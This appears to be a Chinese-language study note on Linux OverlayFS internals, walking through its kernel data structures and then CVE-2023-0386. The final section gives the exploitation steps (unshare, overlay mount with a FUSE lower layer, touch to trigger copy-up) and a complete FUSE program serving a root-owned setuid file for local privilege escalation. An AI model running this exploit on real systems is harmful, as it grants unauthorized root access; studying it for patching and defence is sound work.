Week 7 - OverlayFS

OverlayFS 是一種分層式的 file system,將多個 file system 的資料堆疊,上層的檔案會覆蓋下層同路徑檔案,呈現在使用者面前。

  • Upper layer
    最上層的 layer,可讀寫。
  • Lower layer
    至多 500 層,可讀。
  • Workdir
    OverlayFS 用來做額外操作的暫存空間,不會呈現給使用者。

當使用者刪除下層的檔案,OverlayFS 對檔案標記 whiteout,檔案看似在使用者面前消失,仍不影響下層檔案。
若使用者編輯下層檔案,則複製一份至 Upper layer,此行為稱為 Copy-up。

  • inode: file system 裡的檔案 metadata,file 結構會包含 inode, path, owner等資訊。
  • dentry: 一組 path 和 inode 的映射,一個 inode 可能被很多 path 映射

掛載 OverlayFS:

1
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

OverlayFS 結構

ovl_config

OverlayFS 一開始的掛載設定,mount 時參數將存入裡面,ovl_fill_super 藉由裡面的資訊建構整個 ovl_fs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct ovl_config {
char *lowerdir;
char *upperdir;
char *workdir;
bool default_permissions;
bool redirect_dir; // 是否啟用目錄 redirect
bool redirect_follow;
const char *redirect_mode;
bool index;
bool uuid;
bool nfs_export;
int xino; // inode 號碼映射方式
bool metacopy;
bool userxattr;
bool ovl_volatile;
};

ovl_sb

紀錄掛載的 upperdir, lowerdir 的 fs 類型,是 ovl_layer 的一部分,每一層對應一個 ovl_sb
sb 指向管理該 fs 的 super_block 結構,pseudo_dev 是 overlayfs 使用的虛擬 device number。

1
2
3
4
5
6
7
8
struct ovl_sb {
struct super_block *sb;
dev_t pseudo_dev;
/* Unusable (conflicting) uuid */
bool bad_uuid;
/* Used as a lower layer (but maybe also as upper) */
bool is_lower;
};

ovl_layer

存放 overlayfs 的各個 layer 資訊。

  • mnt → 該層的掛載資訊
  • trap → 用來避免 inode cache 錯誤的一個虛擬 inode
  • fs → 這一層對應的 ovl_sb
  • idx → 在整個 overlayfs 是第幾層
  • fsid → 對應的唯一檔案系統 ID
1
2
3
4
5
6
7
8
9
10
struct ovl_layer {
struct vfsmount *mnt;
/* Trap in ovl inode cache */
struct inode *trap;
struct ovl_sb *fs;
/* Index of this layer in fs root (upper idx == 0) */
int idx;
/* One fsid per unique underlying sb (upper fsid == 0) */
int fsid;
};

ovl_fs

管理整個 overlayfs。
indexdir 透過 ovf_config->index 啟用,紀錄所有檔案 inode 以加快查詢速度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/* private information held for overlayfs's superblock */
struct ovl_fs {
unsigned int numlayer;
/* Number of unique fs among layers including upper fs */
unsigned int numfs;
const struct ovl_layer *layers;
struct ovl_sb *fs;
/* workbasedir is the path at workdir= mount option */
struct dentry *workbasedir;
/* workdir is the 'work' directory under workbasedir */
struct dentry *workdir;
/* index directory listing overlay inodes by origin file handle */
struct dentry *indexdir;
long namelen;
/* pathnames of lower and upper dirs, for show_options */
struct ovl_config config;
/* creds of process who forced instantiation of super block */
const struct cred *creator_cred;
bool tmpfile;
bool noxattr;
/* Did we take the inuse lock? */
bool upperdir_locked;
bool workdir_locked;
bool share_whiteout;
/* Traps in ovl inode cache */
struct inode *workbasedir_trap;
struct inode *workdir_trap;
struct inode *indexdir_trap;
/* -1: disabled, 0: same fs, 1..32: number of unused ino bits */
int xino_mode;
/* For allocation of non-persistent inode numbers */
atomic_long_t last_ino;
/* Whiteout dentry cache */
struct dentry *whiteout;
/* r/o snapshot of upperdir sb's only taken on volatile mounts */
errseq_t errseq;
};

ovl_path

紀錄一個在 overlayfs 的路徑,對應到哪個 layer 的實際的 path。

1
2
3
4
struct ovl_path {
const struct ovl_layer *layer;
struct dentry *dentry;
};

ovl_entry

紀錄一個目錄在每個 file system 的真實位置。

1
2
3
4
5
6
7
8
9
10
struct ovl_entry {
union {
struct {
unsigned long flags;
};
struct rcu_head rcu;
};
unsigned numlower;
struct ovl_path lowerstack[];
};

ovl_inode

overlayfs 自己的 inode 物件:

  • cache / lowerdata → 目錄的快取 / lower 層的 inode
  • redirect → 是否有目錄重導向
  • version → inode 版本
  • vfs_inode → VFS 的 inode
  • __upperdentry → 這個 inode 對應的 upper 層 dentry,如果檔案沒被修改就不需要
  • lowerpath → lower 層對應的 ovl_path
  • lock → 用來保護 copy-up 的 mutex lock
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    struct ovl_inode {
    union {
    struct ovl_dir_cache *cache; /* directory */
    struct inode *lowerdata; /* regular file */
    };
    const char *redirect;
    u64 version;
    unsigned long flags;
    struct inode vfs_inode;
    struct dentry *__upperdentry;
    struct ovl_path lowerpath;

    /* synchronize copy up and more */
    struct mutex lock;
    };

ovl_inodeovl_entry 有點像,但前者紀錄 overlayfs 的一個檔案指向哪個實際檔案,後者紀錄一個 directory 在哪些層有資料。因為 dir 在不同 layer 的子目錄、檔案可能不同,所以它記錄很多 layer。

ovl_dir_file

管理已開啟的目錄,cursor 用來記錄 readdir() 操作進度。

1
2
3
4
5
6
7
8
struct ovl_dir_file {
bool is_real;
bool is_upper;
struct ovl_dir_cache *cache;
struct list_head *cursor;
struct file *realfile;
struct file *upperfile;
};

ovl_dir_cache

儲存目錄底下的檔案列表。

1
2
3
4
5
6
struct ovl_dir_cache {
long refcount;
u64 version;
struct list_head entries;
struct rb_root root;
};

CVE-2023-0386

先看 patch:
截圖 2025-04-06 晚上10.52.26.png

ovl_copy_up_one 用來將檔案 copy-up 到 upper layer,而 patch 增加了 user namespace 的檢查。
ctx.stat 是從 lower 拿到的 file stat,若擁有者的 uid, gid 沒被當前 namespace 映射到,就直接 return。

本漏洞的利用是透過 FUSE 和 OverlayFS 的組合,創建一個 setuid 的程式,允許普通使用者以 root 身份執行。

在 linux 執行 setuid 需符合以下條件:

  • 當前登入使用者有 CAP_SETUID 權限

  • 執行檔標示 setuid 權限,可用 chmod 賦予權限。

    1
    chmod u+s filename
  • 檔案系統支援 setuid

  • 擁有者是 root 或目標的 uid

並且,只要一個檔案 owner 是 root 且檔案有 setuid 權限就能提權。

已知 FUSE 是使用者自定義的 file system,可回傳任意的 file stat 或內容,當然也能回傳一個 setuid 的惡意程式。
然而,FUSE 雖可改 owner 為 root 並 setuid 權限,但由於 mount 時都會強制加上 nosuid,無法真的執行 setuid。

1
mount | grep fuse

不過,若能夠將檔案的內容和 stat,複製到一個正常的 file system,且這個 file system 無 nosuid 標誌,是不是就能成功提權呢?

OverlayFS 的 copy-up 就能做到這件事,本漏洞即是讓 FUSE 作為 lower layer,複製檔案到正常的 upper layer 達成提權。
然而,mount 一個 OverlayFS 需要 root 權限,必須新增一個 user namespace 和 mount namespace。

1
unshare -Urm

在 OverlayFS touch 一個檔案時,就算檔案已經存在,也會更新其時間戳,因此可用來提升到 upper layer。

1
2
3
4
5
mkdir -p fuse_dir upper merged workdir
./fuse fuse_dir
unshare -Urm
mount -t overlay overlay -o lowerdir=fuse_dir,upperdir=upper,workdir=workdir merged
touch merged/evil

而 patch 檢查 file owner 是否在 namespace 裡。

截圖 2025-04-06 晚上10.52.26.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#define _GNU_SOURCE
#define FUSE_USE_VERSION 29
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>

int evil_fd;
struct stat st;

static int getattr_callback(const char *path, struct stat *stbuf) {
puts("[+] getattr_callback");
memset(stbuf, 0, sizeof(struct stat));

if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, "/evil") == 0) {
stbuf->st_mode = S_IFREG | 06777;
stbuf->st_nlink = 1;
stbuf->st_size = st.st_size;
} else {
return -ENOENT;
}

return 0;
}

static int open_callback(const char *path, struct fuse_file_info *fi) {
puts("[+] open_callback");
return 0;
}

static int read_callback(const char *path,
char *file_buf, size_t size, off_t offset,
struct fuse_file_info *fi) {
puts("[+] read_callback");

if (strcmp(path, "/evil") != 0)
return -ENOENT;

if (offset >= st.st_size)
return 0;

if (offset + size > st.st_size)
size = st.st_size - offset;

lseek(evil_fd, offset, SEEK_SET);

int res = read(evil_fd, file_buf, size);

if (res < 0)
return -ENOENT;

return res;
}

static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
return 0;
}

static const struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
.ioctl = ioctl_callback
};

int main(int argc, char *argv[]) {
evil_fd = open("/home/ctf/evil", O_RDONLY);
stat("/home/ctf/evil", &st);
return fuse_main(argc, argv, &fops, NULL);
}